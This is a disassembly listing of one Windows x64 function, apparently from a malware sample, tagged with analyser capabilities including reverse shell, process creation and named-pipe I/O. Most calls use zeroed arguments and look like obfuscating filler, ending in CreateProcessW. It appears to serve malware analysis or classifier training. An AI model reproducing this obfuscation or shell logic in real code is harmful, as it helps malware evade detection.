Function at 0x180004d10
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get common file path
Read .ini file
Read pipe
Write pipe

Disassembly:
push rbx
sub rsp, 0x60
mov dword [rsp + 0x58], 0x1c4
lea rax, [fcn.180005020]
add rax, 0x1c4
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180010920
mov rax, qword [0x180115cb0]
xor ebx, ebx
mov r8d, dword [0x180115cb8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x2810]
mov dword [rax + 4], 0x32cdfeef
cmp r8d, 0x9f58ac91
jne 0x180004e96
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_SetBkColor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddScopedPolicyIDAce]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWaitEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetDIBits]
mov qword [rsp + 0x30], rbx
lea rdx, str.xMJM6s5e2i7n3f3OeI59P963nl3G
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIPath]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CombineRgn]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrefetchVirtualMemory]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupSeek]
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTimeEx]
mov r8d, dword [0x180115cb8]
mov rax, qword [0x180115cc0]
mov rcx, qword [rax + 0x10]
mov rax, qword [0x180115cb0]
mov edx, dword [rcx + 0x1170]
mov rcx, qword [rax + 0x10]
add edx, 0x3baacfc4
mov rax, qword [rcx + 0x2810]
mov dword [rax], edx
cmp r8d, 0xe36ba652
jne 0x180004fcc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
mov word [rsp + 0x28], bx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesExW]
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallNamedPipeW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_SetPixelV]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_SetPaletteEntries]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleHistoryInfo]
mov qword [rsp + 0x48], rbx
xor r9d, r9d
mov qword [rsp + 0x40], rbx
xor r8d, r8d
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rax, qword [0x180115cb0]
mov rcx, qword [rax + 0x10]
mov rax, qword [0x180115cc0]
mov rdx, qword [rcx + 0x2810]
mov rcx, qword [rax + 0x10]
mov eax, dword [rcx + 0x1170]
add dword [rdx + 4], eax
mov rax, qword [0x180115ca8]
mov r8, qword [rax + 0x10]
mov rax, qword [0x180115cb0]
mov rcx, qword [rax + 0x10]
mov eax, dword [r8 + 0x820]
mov rdx, qword [rcx + 0x2810]
mov dword [rdx + 8], eax
add rsp, 0x60
pop rbx
ret